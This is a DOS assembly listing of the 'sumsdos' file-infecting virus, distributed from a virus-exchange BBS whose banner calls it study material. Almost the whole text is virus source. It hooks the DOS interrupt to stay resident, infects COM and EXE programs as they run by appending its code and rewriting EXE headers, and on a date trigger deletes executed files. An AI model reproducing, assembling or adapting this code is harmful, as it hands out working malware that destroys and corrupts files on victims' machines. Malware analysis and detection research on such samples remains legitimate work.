home *** CD-ROM | disk | FTP | other *** search
- ;****************************************************************************;
- ; ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] [=- ;
- ; -=] For All Your H/P/A/V Files [=- ;
- ; -=] SysOp: Peter Venkman [=- ;
- ; -=] [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; ;
- ; *** NOT FOR GENERAL DISTRIBUTION *** ;
- ; ;
- ; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
- ; Around Among the General Public. It Will be Very Useful for Learning how ;
- ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
- ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
- ; Experience can Turn it Into a far More Malevolent Program Than it Already ;
- ; Is. Keep This Code in Responsible Hands! ;
- ; ;
- ;****************************************************************************;
-
- PAGE 60,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ SUMSDOS ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- DATA_1E EQU 2CH ; (0000:002C=0FF23H)
- DATA_2E EQU 43H ; (3E00:0043=0FFFFH)
- DATA_3E EQU 45H ; (3E00:0045=0FFFFH)
- DATA_4E EQU 47H ; (3E00:0047=0FFFFH)
- DATA_5E EQU 49H ; (3E00:0049=0FFFFH)
- DATA_6E EQU 51H ; (3E00:0051=0FFFFH)
- DATA_7E EQU 53H ; (3E00:0053=0FFFFH)
- DATA_8E EQU 57H ; (3E00:0057=0FFFFH)
- DATA_9E EQU 5DH ; (3E00:005D=0FFFFH)
- DATA_10E EQU 5FH ; (3E00:005F=0FFFFH)
- DATA_11E EQU 61H ; (3E00:0061=0FFFFH)
- DATA_12E EQU 63H ; (3E00:0063=0FFFFH)
- DATA_13E EQU 65H ; (3E00:0065=0FFFFH)
- DATA_14E EQU 78H ; (3E00:0078=0FFFFH)
- DATA_15E EQU 7AH ; (3E00:007A=0FFFFH)
- DATA_16E EQU 7CH ; (3E00:007C=0FFFFH)
- DATA_17E EQU 7EH ; (3E00:007E=0FFFFH)
- DATA_18E EQU 0AH ; (6CAF:000A=0)
- DATA_19E EQU 0CH ; (6CAF:000C=0)
- DATA_20E EQU 0EH ; (6CAF:000E=0)
- DATA_21E EQU 0FH ; (6CAF:000F=0)
- DATA_22E EQU 11H ; (6CAF:0011=0)
- DATA_23E EQU 13H ; (6CAF:0013=0)
- DATA_24E EQU 15H ; (6CAF:0015=0)
- DATA_25E EQU 17H ; (6CAF:0017=0)
- DATA_26E EQU 19H ; (6CAF:0019=0)
- DATA_27E EQU 1BH ; (6CAF:001B=0)
- DATA_28E EQU 1DH ; (6CAF:001D=0)
- DATA_29E EQU 1FH ; (6CAF:001F=0)
- DATA_30E EQU 29H ; (6CAF:0029=0)
- DATA_31E EQU 2BH ; (6CAF:002B=0)
- DATA_32E EQU 2DH ; (6CAF:002D=0)
- DATA_33E EQU 2FH ; (6CAF:002F=0)
- DATA_34E EQU 31H ; (6CAF:0031=0)
- DATA_35E EQU 33H ; (6CAF:0033=0)
- DATA_36E EQU 4EH ; (6CAF:004E=0)
- DATA_37E EQU 70H ; (6CAF:0070=0)
- DATA_38E EQU 72H ; (6CAF:0072=0)
- DATA_39E EQU 74H ; (6CAF:0074=0)
- DATA_40E EQU 76H ; (6CAF:0076=0)
- DATA_41E EQU 7AH ; (6CAF:007A=0)
- DATA_42E EQU 80H ; (6CAF:0080=0)
- DATA_43E EQU 82H ; (6CAF:0082=0)
- DATA_44E EQU 8FH ; (6CAF:008F=0)
-
- CODESEG SEGMENT
- ASSUME CS:CODESEG, DS:CODESEG
-
-
- ORG 100h
-
- sumsdos PROC FAR
-
- start:
- JMP LOC_2
- DB 73H, 55H, 4DH, 73H, 44H, 6FH
- DB 73H, 0, 1, 0BCH, 17H, 0
- DB 0, 0, 5, 0, 2BH, 2
- DB 70H, 0, 6EH, 6, 20H, 0BH
- DB 0EBH, 4, 14H, 0AH, 92H, 7BH
- DB 0
- DB 12 DUP (0)
- DB 0E8H, 6, 0ECH, 37H, 17H, 80H
- DB 0, 0, 0, 80H, 0, 37H
- DB 17H, 5CH, 0, 37H, 17H, 6CH
- DB 0, 37H, 17H, 10H, 7, 4CH
- DB 72H, 0C5H, 0, 4CH, 72H, 0
- DB 0F0H, 46H, 0, 4DH, 5AH, 60H
- DB 0, 0CEH, 2, 9FH, 26H, 0C0H
- DB 9, 7, 0, 7, 0, 75H
- DB 4FH, 10H, 7, 84H, 19H, 0C5H
- DB 0, 75H, 4FH, 1EH, 0, 0
- DB 0, 0B8H, 0, 4CH, 0CDH, 21H
- DB 5, 0, 20H, 0, 49H, 13H
- DB 91H, 0B3H, 0, 2, 10H, 0
- DB 50H, 93H, 5, 0, 5BH, 3DH
- DB 70H, 0ABH
- DB 'COMMAND.COM'
- DB 1, 0, 0, 0, 0, 0
- LOC_2:
- CLD ; Clear direction
- MOV AH,0E0H
- INT 21H ; DOS Services ah=function E0h
- CMP AH,0E0H
- JAE LOC_3 ; Jump if above or =
- CMP AH,3
- JB LOC_3 ; Jump if below
- MOV AH,0DDH
- MOV DI,100H
- MOV SI,710H
- ADD SI,DI
- MOV CX,CS:[DI+11H]
- INT 21H ; DOS Services ah=function DDh
- LOC_3:
- MOV AX,CS
- ADD AX,10H
- MOV SS,AX
- MOV SP,700H
- PUSH AX
- MOV AX,0C5H
- PUSH AX
- RET ; Return far
- DB 0FCH, 6, 2EH, 8CH, 6, 31H
- DB 0, 2EH, 8CH, 6, 39H, 0
- DB 2EH, 8CH, 6, 3DH, 0, 2EH
- DB 8CH, 6, 41H, 0, 8CH, 0C0H
- DB 5, 10H, 0, 2EH, 1, 6
- DB 49H, 0, 2EH, 1, 6, 45H
- DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H
- DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH
- DB 3, 7, 2EH, 8EH, 16H, 45H
- DB 0, 2EH, 8BH, 26H, 43H, 0
- DB 2EH, 0FFH, 2EH, 47H, 0, 33H
- DB 0C0H, 8EH, 0C0H, 26H, 0A1H, 0FCH
- DB 3, 2EH, 0A3H, 4BH, 0, 26H
- DB 0A0H, 0FEH, 3, 2EH, 0A2H, 4DH
- DB 0
- DB 26H
-
- ;██████████████████████████████████████████████████████████████████████████
- ;
- ; External Entry Point
- ;
- ;██████████████████████████████████████████████████████████████████████████
-
- int_24h_entry PROC FAR
- MOV DATA_46,0A5F3H ; (6CAF:03FC=29H)
- MOV ES:DATA_47,0CBH ; (6CAF:03FE=2EH)
- POP AX
- ADD AX,10H
- MOV ES,AX
- PUSH CS
- POP DS
- MOV CX,710H
- SHR CX,1 ; Shift w/zeros fill
- XOR SI,SI ; Zero register
- MOV DI,SI
- PUSH ES
- MOV AX,142H
- PUSH AX
- JMP FAR PTR LOC_1
- DB 8CH, 0C8H, 8EH, 0D0H, 0BCH, 0
- DB 7, 33H, 0C0H, 8EH, 0D8H, 2EH
- DB 0A1H, 4BH, 0, 0A3H, 0FCH, 3
- DB 2EH, 0A0H, 4DH, 0, 0A2H, 0FEH
- DB 3
- int_24h_entry ENDP
-
-
- ;██████████████████████████████████████████████████████████████████████████
- ;
- ; External Entry Point
- ;
- ;██████████████████████████████████████████████████████████████████████████
-
- int_21h_entry PROC FAR
- MOV BX,SP
- MOV CL,4
- SHR BX,CL ; Shift w/zeros fill
- ADD BX,10H
- MOV CS:DATA_35E,BX ; (6CAF:0033=0)
- MOV AH,4AH ; 'J'
- MOV ES,CS:DATA_34E ; (6CAF:0031=0)
- INT 21H ; DOS Services ah=function 4Ah
- ; change mem allocation, bx=siz
- MOV AX,3521H
- INT 21H ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- MOV CS:DATA_25E,BX ; (6CAF:0017=0)
- MOV CS:DATA_26E,ES ; (6CAF:0019=0)
- PUSH CS
- POP DS
- MOV DX,25BH
- MOV AX,2521H
- INT 21H ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- MOV ES,DS:DATA_34E ; (6CAF:0031=0)
- MOV ES,ES:DATA_1E ; (0000:002C=0FF23H)
- XOR DI,DI ; Zero register
- MOV CX,7FFFH
- XOR AL,AL ; Zero register
-
- LOCLOOP_5:
- REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
- CMP ES:[DI],AL
- LOOPNZ LOCLOOP_5 ; Loop if zf=0, cx>0
-
- MOV DX,DI
- ADD DX,3
- MOV AX,4B00H
- PUSH ES
- POP DS
- PUSH CS
- POP ES
- MOV BX,35H
- PUSH DS
- PUSH ES
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- MOV AH,2AH ; '*'
- INT 21H ; DOS Services ah=function 2Ah
- ; get date, cx=year, dx=mon/day
- MOV BYTE PTR CS:DATA_20E,0 ; (6CAF:000E=0)
- CMP CX,7C3H
- JE LOC_7 ; Jump if equal
- CMP AL,5
- JNE LOC_6 ; Jump if not equal
- CMP DL,0DH
- JNE LOC_6 ; Jump if not equal
- INC BYTE PTR CS:DATA_20E ; (6CAF:000E=0)
- JMP SHORT LOC_7
- DB 90H
- LOC_6:
- MOV AX,3508H
- INT 21H ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- MOV CS:DATA_23E,BX ; (6CAF:0013=0)
- MOV CS:DATA_24E,ES ; (6CAF:0015=0)
- PUSH CS
- POP DS
- MOV WORD PTR DS:DATA_29E,7E90H ; (6CAF:001F=0)
- MOV AX,2508H
- MOV DX,21EH
- INT 21H ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- LOC_7:
- POP DX
- POP CX
- POP BX
- POP AX
- POP ES
- POP DS
- PUSHF ; Push flags
- CALL DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
- PUSH DS
- POP ES
- MOV AH,49H ; 'I'
- INT 21H ; DOS Services ah=function 49h
- ; release memory block, es=seg
- MOV AH,4DH ; 'M'
- INT 21H ; DOS Services ah=function 4Dh
- ; get return code info in ax
- MOV AH,31H ; '1'
- MOV DX,600H
- MOV CL,4
- SHR DX,CL ; Shift w/zeros fill
- ADD DX,10H
- INT 21H ; DOS Services ah=function 31h
- ; terminate & stay resident
- DB 32H, 0C0H, 0CFH, 2EH, 83H, 3EH
- DB 1FH, 0, 2, 75H, 17H, 50H
- DB 53H, 51H, 52H, 55H, 0B8H, 2
- DB 6, 0B7H, 87H, 0B9H, 5, 5
- DB 0BAH, 10H, 10H, 0CDH, 10H, 5DH
- DB 5AH, 59H, 5BH, 58H, 2EH, 0FFH
- DB 0EH, 1FH, 0, 75H, 12H, 2EH
- DB 0C7H, 6, 1FH, 0, 1, 0
- DB 50H, 51H, 56H, 0B9H, 1, 40H
- DB 0F3H, 0ACH, 5EH, 59H, 58H, 2EH
- DB 0FFH, 2EH, 13H, 0, 9CH, 80H
- DB 0FCH, 0E0H, 75H, 5, 0B8H, 0
- DB 3, 9DH, 0CFH, 80H, 0FCH, 0DDH
- DB 74H, 13H, 80H, 0FCH, 0DEH, 74H
- DB 28H, 3DH, 0, 4BH, 75H, 3
- DB 0E9H, 0B4H, 0
- LOC_8:
- POPF ; Pop flags
- JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
- LOC_9:
- POP AX
- POP AX
- MOV AX,100H
- MOV CS:DATA_18E,AX ; (6CAF:000A=0)
- POP AX
- MOV CS:DATA_19E,AX ; (6CAF:000C=0)
- REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
- POPF ; Pop flags
- MOV AX,CS:DATA_21E ; (6CAF:000F=0)
- JMP DWORD PTR CS:DATA_18E ; (6CAF:000A=0)
- LOC_10:
- ADD SP,6
- POPF ; Pop flags
- MOV AX,CS
- MOV SS,AX
- MOV SP,710H
- PUSH ES
- PUSH ES
- XOR DI,DI ; Zero register
- PUSH CS
- POP ES
- MOV CX,10H
- MOV SI,BX
- MOV DI,21H
- REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
- MOV AX,DS
- MOV ES,AX
- MUL WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax = data * ax
- ADD AX,CS:DATA_31E ; (6CAF:002B=0)
- ADC DX,0
- DIV WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax,dxrem=dx:ax/data
- MOV DS,AX
- MOV SI,DX
- MOV DI,DX
- MOV BP,ES
- MOV BX,CS:DATA_33E ; (6CAF:002F=0)
- OR BX,BX ; Zero ?
- JZ LOC_12 ; Jump if zero
- LOC_11:
- MOV CX,8000H
- REP MOVSW ; Rep while cx>0 Mov [si] to es:[di]
- ADD AX,1000H
- ADD BP,1000H
- MOV DS,AX
- MOV ES,BP
- DEC BX
- JNZ LOC_11 ; Jump if not zero
- LOC_12:
- MOV CX,CS:DATA_32E ; (6CAF:002D=0)
- REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
- POP AX
- PUSH AX
- ADD AX,10H
- ADD CS:DATA_30E,AX ; (6CAF:0029=0)
- DATA_47 DB 2EH
- DB 1, 6, 25H, 0, 2EH, 0A1H
- DB 21H, 0, 1FH, 7, 2EH, 8EH
- DB 16H, 29H, 0, 2EH, 8BH, 26H
- DB 27H, 0, 2EH, 0FFH, 2EH, 23H
- DB 0
- LOC_13:
- XOR CX,CX ; Zero register
- MOV AX,4301H
- INT 21H ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- MOV AH,41H ; 'A'
- INT 21H ; DOS Services ah=function 41h
- ; delete file, name @ ds:dx
- MOV AX,4B00H
- POPF ; Pop flags
- JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
- LOC_14:
- CMP BYTE PTR CS:DATA_20E,1 ; (6CAF:000E=0)
- JE LOC_13 ; Jump if equal
- MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0)
- MOV WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0)
- MOV CS:DATA_42E,DX ; (6CAF:0080=0)
- MOV CS:DATA_43E,DS ; (6CAF:0082=0)
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- PUSH DS
- PUSH ES
- CLD ; Clear direction
- MOV DI,DX
- XOR DL,DL ; Zero register
- CMP BYTE PTR [DI+1],3AH ; ':'
- JNE LOC_15 ; Jump if not equal
- MOV DL,[DI]
- AND DL,1FH
- LOC_15:
- MOV AH,36H ; '6'
- INT 21H ; DOS Services ah=function 36h
- ; get free space, drive dl,1=a:
- CMP AX,0FFFFH
- JNE LOC_17 ; Jump if not equal
- LOC_16:
- JMP LOC_43
- LOC_17:
- MUL BX ; dx:ax = reg * ax
- MUL CX ; dx:ax = reg * ax
- OR DX,DX ; Zero ?
- JNZ LOC_18 ; Jump if not zero
- CMP AX,710H
- JB LOC_16 ; Jump if below
- LOC_18:
- MOV DX,CS:DATA_42E ; (6CAF:0080=0)
- PUSH DS
- POP ES
- XOR AL,AL ; Zero register
- MOV CX,41H
- REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
- MOV SI,CS:DATA_42E ; (6CAF:0080=0)
- LOC_19:
- MOV AL,[SI]
- OR AL,AL ; Zero ?
- JZ LOC_21 ; Jump if zero
- CMP AL,61H ; 'a'
- JB LOC_20 ; Jump if below
- CMP AL,7AH ; 'z'
- JA LOC_20 ; Jump if above
- SUB BYTE PTR [SI],20H ; ' '
- LOC_20:
- INC SI
- JMP SHORT LOC_19
- LOC_21:
- MOV CX,0BH
- SUB SI,CX
- MOV DI,84H
- PUSH CS
- POP ES
- MOV CX,0BH
- REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di]
- JNZ LOC_22 ; Jump if not zero
- JMP LOC_43
- LOC_22:
- MOV AX,4300H
- INT 21H ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- JC LOC_23 ; Jump if carry Set
- MOV CS:DATA_38E,CX ; (6CAF:0072=0)
- LOC_23:
- JC LOC_25 ; Jump if carry Set
- XOR AL,AL ; Zero register
- MOV CS:DATA_36E,AL ; (6CAF:004E=0)
- PUSH DS
- POP ES
- MOV DI,DX
- MOV CX,41H
- REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
- CMP BYTE PTR [DI-2],4DH ; 'M'
- JE LOC_24 ; Jump if equal
- CMP BYTE PTR [DI-2],6DH ; 'm'
- JE LOC_24 ; Jump if equal
- INC BYTE PTR CS:DATA_36E ; (6CAF:004E=0)
- LOC_24:
- MOV AX,3D00H
- INT 21H ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- LOC_25:
- JC LOC_27 ; Jump if carry Set
- MOV CS:DATA_37E,AX ; (6CAF:0070=0)
- MOV BX,AX
- MOV AX,4202H
- MOV CX,0FFFFH
- MOV DX,0FFFBH
- INT 21H ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- JC LOC_25 ; Jump if carry Set
- ADD AX,5
- MOV CS:DATA_22E,AX ; (6CAF:0011=0)
- MOV CX,5
- MOV DX,6BH
- MOV AX,CS
- MOV DS,AX
- MOV ES,AX
- MOV AH,3FH ; '?'
- INT 21H ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- MOV DI,DX
- MOV SI,5
- REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di]
- JNZ LOC_26 ; Jump if not zero
- MOV AH,3EH ; '>'
- INT 21H ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- JMP LOC_43
- LOC_26:
- MOV AX,3524H
- INT 21H ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- MOV DS:DATA_27E,BX ; (6CAF:001B=0)
- MOV DS:DATA_28E,ES ; (6CAF:001D=0)
- MOV DX,21BH
- MOV AX,2524H
- INT 21H ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- LDS DX,DWORD PTR DS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr
- XOR CX,CX ; Zero register
- MOV AX,4301H
- INT 21H ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- LOC_27:
- JC LOC_28 ; Jump if carry Set
- MOV BX,CS:DATA_37E ; (6CAF:0070=0)
- MOV AH,3EH ; '>'
- INT 21H ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0)
- MOV AX,3D02H
- INT 21H ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- JC LOC_28 ; Jump if carry Set
- MOV CS:DATA_37E,AX ; (6CAF:0070=0)
- MOV AX,CS
- MOV DS,AX
- MOV ES,AX
- MOV BX,DS:DATA_37E ; (6CAF:0070=0)
- MOV AX,5700H
- INT 21H ; DOS Services ah=function 57h
- ; get/set file date & time
- MOV DS:DATA_39E,DX ; (6CAF:0074=0)
- MOV DS:DATA_40E,CX ; (6CAF:0076=0)
- MOV AX,4200H
- XOR CX,CX ; Zero register
- MOV DX,CX
- INT 21H ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- LOC_28:
- JC LOC_31 ; Jump if carry Set
- CMP BYTE PTR DS:DATA_36E,0 ; (6CAF:004E=0)
- JE LOC_29 ; Jump if equal
- JMP SHORT LOC_33
- DB 90H
- LOC_29:
- MOV BX,1000H
- MOV AH,48H ; 'H'
- INT 21H ; DOS Services ah=function 48h
- ; allocate memory, bx=bytes/16
- JNC LOC_30 ; Jump if carry=0
- MOV AH,3EH ; '>'
- MOV BX,DS:DATA_37E ; (6CAF:0070=0)
- INT 21H ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- JMP LOC_43
- LOC_30:
- INC WORD PTR DS:DATA_44E ; (6CAF:008F=0)
- MOV ES,AX
- XOR SI,SI ; Zero register
- MOV DI,SI
- MOV CX,710H
- REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
- MOV DX,DI
- MOV CX,DS:DATA_22E ; (6CAF:0011=0)
- MOV BX,DS:DATA_37E ; (6CAF:0070=0)
- PUSH ES
- POP DS
- MOV AH,3FH ; '?'
- INT 21H ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- LOC_31:
- JC LOC_32 ; Jump if carry Set
- ADD DI,CX
- XOR CX,CX ; Zero register
- MOV DX,CX
- MOV AX,4200H
- INT 21H ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- MOV SI,5
- MOV CX,5
- DB 0F3H, 2EH, 0A4H, 8BH, 0CFH, 33H
- DB 0D2H, 0B4H, 40H, 0CDH
- DB 21H
- LOC_32:
- JC LOC_34 ; Jump if carry Set
- JMP LOC_41
- LOC_33:
- MOV CX,1CH
- MOV DX,4FH
- MOV AH,3FH ; '?'
- INT 21H ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- LOC_34:
- JC LOC_36 ; Jump if carry Set
- MOV WORD PTR DS:DATA_11E,1984H ; (3E00:0061=0FFFFH)
- MOV AX,DS:DATA_9E ; (3E00:005D=0FFFFH)
- MOV DS:DATA_3E,AX ; (3E00:0045=0FFFFH)
- MOV AX,DS:DATA_10E ; (3E00:005F=0FFFFH)
- MOV DS:DATA_2E,AX ; (3E00:0043=0FFFFH)
- MOV AX,DS:DATA_12E ; (3E00:0063=0FFFFH)
- MOV DS:DATA_4E,AX ; (3E00:0047=0FFFFH)
- MOV AX,DS:DATA_13E ; (3E00:0065=0FFFFH)
- MOV DS:DATA_5E,AX ; (3E00:0049=0FFFFH)
- MOV AX,DS:DATA_7E ; (3E00:0053=0FFFFH)
- CMP WORD PTR DS:DATA_6E,0 ; (3E00:0051=0FFFFH)
- JE LOC_35 ; Jump if equal
- DEC AX
- LOC_35:
- MUL WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax = data * ax
- ADD AX,DS:DATA_6E ; (3E00:0051=0FFFFH)
- ADC DX,0
- ADD AX,0FH
- ADC DX,0
- AND AX,0FFF0H
- MOV DS:DATA_16E,AX ; (3E00:007C=0FFFFH)
- MOV DS:DATA_17E,DX ; (3E00:007E=0FFFFH)
- ADD AX,710H
- ADC DX,0
- LOC_36:
- JC LOC_38 ; Jump if carry Set
- DIV WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax,dxrem=dx:ax/da
- OR DX,DX ; Zero ?
- JZ LOC_37 ; Jump if zero
- INC AX
- LOC_37:
- MOV DS:DATA_7E,AX ; (3E00:0053=0FFFFH)
- MOV DS:DATA_6E,DX ; (3E00:0051=0FFFFH)
- MOV AX,DS:DATA_16E ; (3E00:007C=0FFFFH)
- MOV DX,DS:DATA_17E ; (3E00:007E=0FFFFH)
- DIV WORD PTR DS:DATA_15E ; (3E00:007A=0FFFFH) ax,dxrem=dx:ax/da
- SUB AX,DS:DATA_8E ; (3E00:0057=0FFFFH)
- MOV DS:DATA_13E,AX ; (3E00:0065=0FFFFH)
- MOV WORD PTR DS:DATA_12E,0C5H ; (3E00:0063=0FFFFH)
- MOV DS:DATA_9E,AX ; (3E00:005D=0FFFFH)
- MOV WORD PTR DS:DATA_10E,710H ; (3E00:005F=0FFFFH)
- XOR CX,CX ; Zero register
- MOV DX,CX
- MOV AX,4200H
- INT 21H ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- LOC_38:
- JC LOC_39 ; Jump if carry Set
- MOV CX,1CH
- MOV DX,4FH
- MOV AH,40H ; '@'
- INT 21H ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- LOC_39:
- JC LOC_40 ; Jump if carry Set
- CMP AX,CX
- JNE LOC_41 ; Jump if not equal
- MOV DX,DS:DATA_16E ; (3E00:007C=0FFFFH)
- MOV CX,DS:DATA_17E ; (3E00:007E=0FFFFH)
- MOV AX,4200H
- INT 21H ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- LOC_40:
- JC LOC_41 ; Jump if carry Set
- XOR DX,DX ; Zero register
- MOV CX,710H
- MOV AH,40H ; '@'
- INT 21H ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- LOC_41:
- CMP WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0)
- JE LOC_42 ; Jump if equal
- MOV AH,49H ; 'I'
- INT 21H ; DOS Services ah=function 49h
- ; release memory block, es=seg
- LOC_42:
- CMP WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0)
- JE LOC_43 ; Jump if equal
- MOV BX,CS:DATA_37E ; (6CAF:0070=0)
- MOV DX,CS:DATA_39E ; (6CAF:0074=0)
- MOV CX,CS:DATA_40E ; (6CAF:0076=0)
- MOV AX,5701H
- INT 21H ; DOS Services ah=function 57h
- ; get/set file date & time
- MOV AH,3EH ; '>'
- INT 21H ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- LDS DX,DWORD PTR CS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr
- MOV CX,CS:DATA_38E ; (6CAF:0072=0)
- MOV AX,4301H
- INT 21H ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- LDS DX,DWORD PTR CS:DATA_27E ; (6CAF:001B=0) Load 32 bit ptr
- MOV AX,2524H
- INT 21H ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- LOC_43:
- POP ES
- POP DS
- POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- POP AX
- POPF ; Pop flags
- JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
- DB 11 DUP (0)
- DB 4DH, 14H, 0AH, 0, 10H
- DB 11 DUP (0)
- DB 0E9H, 92H, 0, 73H, 55H, 4DH
- DB 73H, 44H, 6FH, 73H, 0, 1
- DB 0BCH, 17H, 0, 0, 0, 5
- DB 0, 2BH, 2, 70H, 0, 6EH
- DB 6, 20H, 0BH, 0EBH, 4, 14H
- DB 0AH, 92H, 7BH, 0
- DB 12 DUP (0)
- DB 0E8H, 6, 0ECH, 37H, 17H, 80H
- DB 0, 0, 0, 80H, 0, 37H
- DB 17H, 5CH, 0, 37H, 17H, 6CH
- DB 0, 37H, 17H, 10H, 7, 4CH
- DB 72H, 0C5H, 0, 4CH, 72H, 0
- DB 0F0H, 46H, 0, 4DH, 5AH, 60H
- DB 0, 0CEH, 2, 9FH, 26H, 0C0H
- DB 9, 7, 0, 7, 0, 75H
- DB 4FH, 10H, 7, 84H, 19H, 0C5H
- DB 0, 75H, 4FH, 1EH, 0, 0
- DB 0, 0B8H, 0, 4CH, 0CDH, 21H
- DB 5, 0, 20H, 0, 49H, 13H
- DB 91H, 0B3H, 0, 2, 10H, 0
- DB 50H, 93H, 5, 0, 5BH, 3DH
- DB 70H, 0ABH
- DB 'COMMAND.COM'
- DB 1, 0, 0, 0, 0, 0
- DB 0FCH, 0B4H, 0E0H, 0CDH, 21H, 80H
- DB 0FCH, 0E0H, 73H, 16H, 80H, 0FCH
- DB 3, 72H, 11H, 0B4H, 0DDH, 0BFH
- DB 0, 1, 0BEH, 10H, 7, 3
- DB 0F7H, 2EH, 8BH, 8DH, 11H, 0
- DB 0CDH
- DB 21H
- LOC_44:
- MOV AX,CS
- ADD AX,10H
- MOV SS,AX
- MOV SP,700H
- PUSH AX
- MOV AX,0C5H
- PUSH AX
- RET ; Return far
- int_21h_entry ENDP
-
- DB 0FCH, 6, 2EH, 8CH, 6, 31H
- DB 0, 2EH, 8CH, 6, 39H, 0
- DB 2EH, 8CH, 6, 3DH, 0, 2EH
- DB 8CH, 6, 41H, 0, 8CH, 0C0H
- DB 5, 10H, 0, 2EH, 1, 6
- DB 49H, 0, 2EH, 1, 6, 45H
- DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H
- DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH
- DB 3, 7, 2EH, 8EH, 16H, 45H
- DB 0, 2EH, 8BH, 26H, 43H, 0B8H
- DB 0, 4CH, 0CDH
- DB 21H, 4DH, 73H, 44H, 6FH, 73H
-
- sumsdos ENDP
-
- CODESEG ENDS
-
-
-
- END START
-
- ;****************************************************************************;
- ; ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] [=- ;
- ; -=] For All Your H/P/A/V Files [=- ;
- ; -=] SysOp: Peter Venkman [=- ;
- ; -=] [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; ;
- ; *** NOT FOR GENERAL DISTRIBUTION *** ;
- ; ;
- ; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
- ; Around Among the General Public. It Will be Very Useful for Learning how ;
- ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
- ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
- ; Experience can Turn it Into a far More Malevolent Program Than it Already ;
- ; Is. Keep This Code in Responsible Hands! ;
- ; ;
- ;****************************************************************************;
-